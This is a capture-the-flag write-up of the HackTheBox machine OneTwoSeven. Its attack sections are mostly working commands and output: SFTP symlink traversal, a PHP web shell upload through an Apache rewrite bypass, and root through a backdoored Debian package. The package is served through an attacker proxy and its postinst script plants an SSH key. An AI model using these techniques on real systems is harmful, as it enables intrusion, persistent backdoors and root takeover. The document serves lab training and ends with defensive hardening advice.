HTB: OneTwoSeven Writeup
OneTwoSeven - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | OneTwoSeven |
| OS | Linux |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 15 Feb 2019 |
| IP Address | 10.129.44.45 |
| Author | jkr |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
OneTwoSeven is a hard difficulty Linux machine that demonstrates advanced exploitation of web application misconfigurations and package manager abuse. Initial access is gained through SFTP credential leakage via a public signup form, followed by symlink abuse to read sensitive files outside the restricted SFTP chroot. A vim swap file reveals hardcoded admin credentials, granting access to an internal administration panel on port 60080 via SSH local port forwarding. Apache mod_rewrite rule bypass allows arbitrary PHP file upload despite frontend restrictions, leading to web shell execution as www-admin-data. Privilege escalation exploits misconfigured sudo permissions allowing apt-get update/upgrade with preserved http_proxy environment variables. By hosting a malicious Debian repository and proxying apt traffic through a controlled server, a backdoored wget package with a malicious postinst script executes arbitrary commands as root.
TL;DR: SFTP signup → symlink filesystem traversal → vim swap file leaks admin SHA256 hash → SSH port forward to internal admin panel → Apache rewrite bypass for PHP upload → web shell as www-admin-data → sudo apt-get with http_proxy env_keep → malicious Debian repo hosting → backdoored deb package postinst → root shell.
Reconnaissance
Initial Enumeration
The machine presents HTTP on port 80 and SSH on port 22. The homepage at http://onetwoseven.htb/ advertises static file hosting with SFTP access. A commented-out HTML link in the source code reveals an administration backend on port 60080, accessible only from localhost:
<!-- <a href="http://127.0.0.1:60080/menu.php">Admin Panel</a> -->SFTP Signup Mechanism
The signup page (http://onetwoseven.htb/signup.php) dynamically generates SFTP credentials via a POST request:
# Fetch fresh credentialscurl -s -X POST http://onetwoseven.htb/signup.php | grep -oE 'Username: <b>[^<]+|Password: <b>[^<]+'Output:
Username: <b>ots-0MzQwNjEPassword: <b>5c434061The username follows the pattern ots-<base64(md5(ip)[0:8])> and password is md5(ip)[0:8] in hex. Each signup generates a restricted SFTP account with a public web directory at http://onetwoseven.htb/~<username>/.
Vulnerability Assessment
- SFTP Symlink Abuse: SFTP allows
symlinkcommand, enabling traversal outside the intended chroot - Vim Swap File Exposure: Sensitive configuration files (
.login.php.swp) readable via symlink - Hardcoded Credentials: Admin password stored as SHA256 hash in PHP source
- Apache Rewrite Bypass: URI parsing discrepancy allows upload despite RewriteRule restrictions
- Sudo Misconfiguration:
apt-getcallable withNOPASSWDandenv_keepfor proxy variables - Unsigned Package Repository: Debian repo accepts
[trusted=yes]without GPG verification
Initial Foothold
SFTP Symlink Exploitation
After authenticating with the generated credentials, the SFTP session allows symlink creation:
# From jump host, pipe commands to SFTPprintf 'symlink / public_html/root\nls -la public_html/\nbye\n' > /dev/shm/sf.txtcat /dev/shm/sf.txt | sshpass -p '5c434061' sftp -oStrictHostKeyChecking=no \ -oBatchMode=no -oPubkeyAuthentication=no ots-0MzQwNjE@onetwoseven.htbOutput:
sftp> symlink / public_html/rootsftp> ls -la public_html/drwxr-xr-x ? 1001 1001 4096 Jul 21 12:13 public_html/.drwxr-xr-x ? 0 0 4096 Jul 21 12:13 public_html/..-rw-r--r-- ? 1001 1001 349 Feb 15 2019 public_html/index.htmllrwxrwxrwx ? 1001 1001 1 Jul 21 12:13 public_html/rootThe symlink root → / is now accessible via HTTP at http://onetwoseven.htb/~ots-0MzQwNjE/root/, exposing the entire filesystem for directory traversal.
Admin Credential Recovery
Navigating to /var/www/html-admin/ via the symlink reveals a vim swap file .login.php.swp:
# Download and extract credentials from swap filecurl -s -o /dev/shm/login.swp \ http://onetwoseven.htb/~ots-0MzQwNjE/root/var/www/html-admin/.login.php.swp
strings /dev/shm/login.swp | grep -iE 'sha256|ots-admin|[a-f0-9]{64}' | headKey Fragment:
if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) =='11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8') {The SHA256 hash 11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8 corresponds to Homesweethome1 (verified via online hash databases or local cracking).
Why This Works: Vim swap files (.swp) are backup copies created during editing. They contain plaintext source code, including hardcoded credentials. The SFTP symlink bypasses Apache’s intended directory restrictions, allowing direct file download without PHP execution.
SSH Port Forwarding to Admin Panel
The admin panel on port 60080 is firewalled from external access. SSH local port forwarding tunnels traffic through the SFTP account:
# Establish tunnel from jump box to target's localhost:60080sshpass -p '5c434061' ssh -f -N -oStrictHostKeyChecking=no \ -oPubkeyAuthentication=no -L 60080:127.0.0.1:60080 ots-0MzQwNjE@onetwoseven.htb
# Verify tunnel and test admin logincurl -s -c /dev/shm/cj http://localhost:60080/ >/dev/nullcurl -s -c /dev/shm/cj -b /dev/shm/cj \ -d 'username=ots-admin&password=Homesweethome1&login=Login' \ http://localhost:60080/login.phpSuccessful login redirects to /menu.php, which lists plugin addons with download and upload functionality.
Default User Discovery
The “OTS Default User” addon at menu.php?addon=addons/ots-default-user.php displays hardcoded SFTP credentials for a low-privilege user:
curl -s -b /dev/shm/cj 'http://localhost:60080/menu.php?addon=addons/ots-default-user.php' \ | grep -oE 'Username: <b>[^<]+|Password: <b>[^<]+'Output:
<b>Username:</b> ots-yODc2NGQ<br><b>Password:</b> f528764dThis user has access to user.txt:
printf 'ls -la\nget user.txt /dev/shm/user.txt\nbye\n' | \ sshpass -p 'f528764d' sftp -oStrictHostKeyChecking=no \ ots-yODc2NGQ@onetwoseven.htbUser Flag: <redacted>
Apache Rewrite Rule Bypass
The addon manager (ots-man-addon.php) contains upload logic gated by URI matching:
case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']): if(isset($_FILES['addon'])){ $file_name = basename($_FILES['addon']['name']); $file_size = $_FILES['addon']['size']; $file_tmp = $_FILES['addon']['tmp_name']; if($file_size > 20000){ $errors[]='Module too big for addon manager.'; } if(empty($errors)==true) { move_uploaded_file($file_tmp,$file_name); // Uploads to current directory echo "File uploaded successfully"; } } break;Apache’s .htaccess rewrites both /addon-upload.php and /addon-download.php to addons/ots-man-addon.php:
RewriteRule ^addon-upload.php addons/ots-man-addon.php [L]RewriteRule ^addon-download.php addons/ots-man-addon.php [L]The [L] (Last) flag stops rewrite processing after a match. However, if the request URI contains both patterns, Apache rewrites only the first match, leaving the second in $_SERVER['REQUEST_URI'] for PHP inspection.
Exploitation:
# Create minimal PHP shellprintf '<?php system($_GET["pwn"]); ?>' > /dev/shm/shell.php
# Upload via bypass: Apache rewrites addon-download.php, PHP sees addon-upload.phpcurl -s -b /dev/shm/cj -F 'addon=@/dev/shm/shell.php;filename=shell.php' \ 'http://localhost:60080/addon-download.php&/addon-upload.php'Output: File uploaded successfully
The shell lands in /var/www/html-admin/addons/shell.php and is immediately executable:
curl -s -b /dev/shm/cj 'http://localhost:60080/addons/shell.php?pwn=id'# uid=35(www-admin-data) gid=35(www-admin-data) groups=35(www-admin-data)Why This Works: Apache processes rewrites sequentially. The URI /addon-download.php&/addon-upload.php matches the first rule (addon-download.php), triggering the rewrite to ots-man-addon.php. The & delimiter is ignored by Apache’s RewriteRule but preserved in $_SERVER['REQUEST_URI']. When ots-man-addon.php executes, it reads the full URI and matches /addon-upload.php, entering the upload code path. This is a classic parsing differential between the rewrite engine and application logic.
Privilege Escalation
Sudo Permissions Enumeration
curl -s -G -b /dev/shm/cj 'http://localhost:60080/addons/shell.php' \ --data-urlencode 'pwn=sudo -l'Output:
Matching Defaults entries for www-admin-data on onetwoseven: env_reset, env_keep+="ftp_proxy http_proxy https_proxy no_proxy", mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-admin-data may run the following commands on onetwoseven: (ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgradeThe env_keep directive preserves HTTP proxy environment variables when running sudo apt-get. The /etc/apt/sources.list.d/onetwoseven.list file points to a custom repository:
cat /etc/apt/sources.list.d/onetwoseven.list# deb [trusted=yes] http://packages.onetwoseven.htb/devuan ascii mainThe [trusted=yes] option disables GPG signature verification, allowing installation of unsigned packages.
Attack Vector: Control the apt repository by intercepting HTTP traffic via a malicious proxy server, then serve a backdoored Debian package.
Malicious Debian Repository Setup
1. Build Backdoored Package
On the jump host, create a fake wget package with a malicious postinst script that installs an SSH key:
# Debian package structureBASE=/dev/shm/otsrepomkdir -p $BASE/build/wget/DEBIAN $BASE/build/wget/usr/bin
# Package metadatacat > $BASE/build/wget/DEBIAN/control <<EOFPackage: wgetArchitecture: amd64Maintainer: HTBPriority: optionalVersion: 5.0Description: Pwn all the thingsEOF
# Dummy binarycat > $BASE/build/wget/usr/bin/wget <<'EOF'#!/bin/bashecho "Bad package"EOFchmod 755 $BASE/build/wget/usr/bin/wget
# Malicious postinst hook (runs as root during package installation)cat > $BASE/build/wget/DEBIAN/postinst <<EOF#!/bin/bashmkdir -p /root/.sshecho 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDtwAKOP8Cya9DU2PQLM1tpicLyKsX+ScQPa9u267YUd' \ >> /root/.ssh/authorized_keyschmod 700 /root/.sshchmod 600 /root/.ssh/authorized_keyscat /root/root.txt > /tmp/rootflag 2>/dev/nullcat /root/root.txt > /dev/shm/rootflag 2>/dev/nullchmod 644 /tmp/rootflag /dev/shm/rootflag 2>/dev/nullEOFchmod 755 $BASE/build/wget/DEBIAN/postinst
# Build .deb packagecd $BASE/buildexport TMPDIR=/dev/shm # Avoid /tmp full disk issuesdpkg-deb --build wget/Why This Works: Debian packages execute DEBIAN/postinst scripts with root privileges during dpkg configuration phase. This script plants an SSH key for direct root access and exfiltrates the flag.
2. Create Repository Metadata
Debian repositories require Packages files listing available packages and Release files with repository metadata:
POOL=$BASE/repo/devuanmkdir -p $POOL/dists/ascii/main/binary-amd64mkdir -p $POOL/pool/main
# Place package in poolcp $BASE/build/wget.deb $POOL/pool/main/
# Generate Packages indexcd $POOLdpkg-scanpackages pool/main /dev/null > dists/ascii/main/binary-amd64/Packages 2>/dev/nullgzip -kf dists/ascii/main/binary-amd64/Packages
# Generate Release filecat > $POOL/aptrelease.conf <<EOFAPT::FTPArchive::Release::Origin "Devuan";APT::FTPArchive::Release::Suite "ascii";APT::FTPArchive::Release::Codename "ascii";APT::FTPArchive::Release::Architectures "amd64 all";APT::FTPArchive::Release::Components "main";EOF
cd $POOL/dists/asciiapt-ftparchive -c=$POOL/aptrelease.conf release . > ReleasePackages File Excerpt:
Package: wgetVersion: 5.0Architecture: amd64Maintainer: HTBFilename: pool/main/wget.debSize: 984MD5sum: <hash>SHA256: 688bafe6620e95f1e06964abcc5141aeac81eadac6051c740c5179dde824cff7Description: Pwn all the thingsThe Version: 5.0 is higher than the installed wget 1.18, triggering an upgrade.
3. HTTP + Proxy Server Configuration
Configure the jump host to resolve packages.onetwoseven.htb locally and serve the repository:
# Add hosts entryecho '127.0.0.1 packages.onetwoseven.htb' | sudo tee -a /etc/hosts
# Serve repository on port 80cd /dev/shm/otsrepo/reposudo nohup python3 -m http.server 80 >/dev/null 2>&1 &Run a Twisted HTTP proxy to intercept apt traffic (Python proxy forwards requests to local hostname):
import sysfrom twisted.web import proxy, httpfrom twisted.internet import reactorfrom twisted.python import loglog.startLogging(sys.stdout)
class ProxyFactory(http.HTTPFactory): protocol = proxy.Proxy
reactor.listenTCP(8000, ProxyFactory())reactor.run()cd /dev/shm/pxrunpython3 proxy.py >/dev/shm/proxy.log 2>&1 &Why Proxy Is Needed: The target’s packages.onetwoseven.htb DNS points to a nonexistent service. By setting http_proxy to the attacker’s IP, apt routes requests through our proxy, which forwards them to the attacker’s local web server hosting the malicious repo.
Triggering Package Installation
# Set proxy environment variable and run apt updatecurl -s -G -b /dev/shm/cj --max-time 90 'http://localhost:60080/addons/shell.php' \ --data-urlencode 'pwn=export http_proxy=http://10.10.15.180:8000; sudo /usr/bin/apt-get update 2>&1'Output:
Get:2 http://packages.onetwoseven.htb/devuan ascii Release [2340 B]Get:4 http://packages.onetwoseven.htb/devuan ascii/main amd64 Packages [270 B]Fetched 2880 B in 0s (11.8 kB/s)Reading package lists...Now upgrade the package (which installs the backdoored wget 5.0):
curl -s -G -b /dev/shm/cj --max-time 120 'http://localhost:60080/addons/shell.php' \ --data-urlencode 'pwn=export http_proxy=http://10.10.15.180:8000; yes | sudo /usr/bin/apt-get upgrade 2>&1'Output Excerpt:
The following packages will be upgraded: wget1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.Get:1 http://packages.onetwoseven.htb/devuan ascii/main amd64 wget amd64 5.0 [984 B]Fetched 984 B in 0s (16.3 kB/s)Unpacking wget (5.0) over (1.18-5+deb9u2) ...Setting up wget (5.0) ...The postinst script executes, planting the SSH key and exfiltrating /root/root.txt.
Root Access
# SSH as root using the planted keyssh -i /dev/shm/otskey -o StrictHostKeyChecking=no root@onetwoseven.htb 'cat /root/root.txt'Root Flag: <redacted>
Why This Works: The sudo configuration allows apt-get upgrade with exact arguments and preserves proxy environment variables via env_keep. The [trusted=yes] apt source accepts our unsigned package. When dpkg installs the package, it runs the postinst script as root, granting arbitrary command execution. This attack exploits CVE-2019-3462 principles (apt HTTP downgrade attacks) combined with sudo misconfiguration.
Attack Chain Summary
HTTP enumeration (port 80/22/60080)→ SFTP signup generates credentials (ots-0MzQwNjE/5c434061)→ SFTP symlink / → public_html/root (filesystem traversal)→ Download /var/www/html-admin/.login.php.swp→ Extract SHA256 hash from vim swap → crack to Homesweethome1→ SSH local port forward (-L 60080:127.0.0.1:60080)→ Login admin panel ots-admin/Homesweethome1→ Discover OTS Default User addon → ots-yODc2NGQ/f528764d→ SFTP as default user → user.txt→ Apache rewrite bypass (/addon-download.php&/addon-upload.php)→ Upload shell.php → RCE as www-admin-data (uid=35)→ Enumerate sudo (NOPASSWD apt-get with env_keep http_proxy)→ Build malicious wget 5.0 deb with postinst SSH key injection→ Create Debian repository (Packages.gz, Release files)→ Serve repo on jump host (:80) + Twisted proxy (:8000)→ Redirect packages.onetwoseven.htb via proxy→ sudo apt-get update; yes | sudo apt-get upgrade→ Package installs, postinst runs as root, plants SSH key→ SSH as root → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | HTTP requests, POST data, cookie management |
sftp / sshpass | SFTP automation with password authentication |
ssh | Local port forwarding, SSH key authentication |
strings | Extract plaintext from vim swap binary |
dpkg-deb | Build Debian packages |
dpkg-scanpackages | Generate Packages index files |
apt-ftparchive | Generate Release metadata |
python3 -m http.server | Serve malicious repository over HTTP |
twisted (Python) | HTTP proxy server for apt traffic interception |
vim | Recover source code from swap files |
Key Learnings
Techniques Practiced
- SFTP symlink abuse for filesystem traversal outside restricted chroot
- Vim swap file analysis to recover sensitive source code
- SHA256 hash cracking via rainbow tables/hashcat
- SSH local port forwarding to access internal services
- Apache mod_rewrite bypass via URI parsing differentials
- PHP web shell upload through application logic flaws
- Debian package backdooring with malicious
postinsthooks - APT repository metadata crafting (Packages, Release files)
- HTTP proxy interception of package manager traffic
- Sudo environment variable preservation exploitation (
env_keep)
Lessons Learned
-
SFTP Hardening: Never allow
symlinkcommand in restricted SFTP environments. Useinternal-sftpwithChrootDirectoryandForceCommandto enforce true chroot isolation. Disable dangerous commands viaSubsystemconfiguration. -
Sensitive File Exposure: Vim swap files, editor backups, and version control metadata (
.git,.svn) must be excluded via web server configuration. Use.htaccessdeny rules or remove such files from production:<FilesMatch "^\.">Require all denied</FilesMatch> -
Credential Storage: Never hardcode passwords or hashes in application source. Use environment variables, secrets management systems (Vault, AWS Secrets Manager), or encrypted configuration files with proper key rotation.
-
Apache Rewrite Rules: The
[L]flag only stops further rewriting, not subsequent PHP logic. Application code must validate both$_SERVER['REQUEST_URI']and$_SERVER['SCRIPT_NAME']independently. Use[END](Apache 2.4+) to prevent any further processing. -
File Upload Validation: Always validate file extensions, MIME types, and contents on the server side. Store uploads outside the webroot and use
X-Sendfileheaders for serving. Reject files matching executable patterns (.php,.phtml,.phar). -
Sudo Restrictions: Limit
NOPASSWDcommands to exact binary paths and arguments. Never useenv_keepwith network-related variables (http_proxy,ftp_proxy) unless explicitly required. Example secure sudoers entry:www-data ALL=(root) NOPASSWD: /usr/bin/apt-get updateDefaults!apt-get env_reset -
Package Manager Security:
- Always require GPG signature verification (remove
[trusted=yes]) - Pin package versions via
/etc/apt/preferences.d/ - Use HTTPS for package repositories to prevent MITM attacks
- Implement network segmentation to restrict proxy server usage
- Audit
postinst,preinst, and other maintainer scripts before installation
- Always require GPG signature verification (remove
-
Defense in Depth: This machine required chaining five distinct vulnerabilities (symlink, swap file, rewrite bypass, sudo misconfiguration, unsigned packages). Each layer should be independently hardened:
- Application: Input validation, secure upload handling
- Web server: Rewrite rule auditing, file access controls
- System: Principle of least privilege, sudo restrictions
- Network: Firewall rules, internal service isolation
- Package management: Signature enforcement, version pinning
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
MinatoTW. (2019). OneTwoSeven - HackTheBox Official Writeup. Document No. D19.100.35. Retrieved from HackTheBox official writeup archives.
Public writeup used for explanatory depth on Apache mod_rewrite mechanics, Debian package structure, and apt repository metadata formats. All commands, outputs, credentials, and IP addresses in this writeup are exclusively from the documented agent solve session.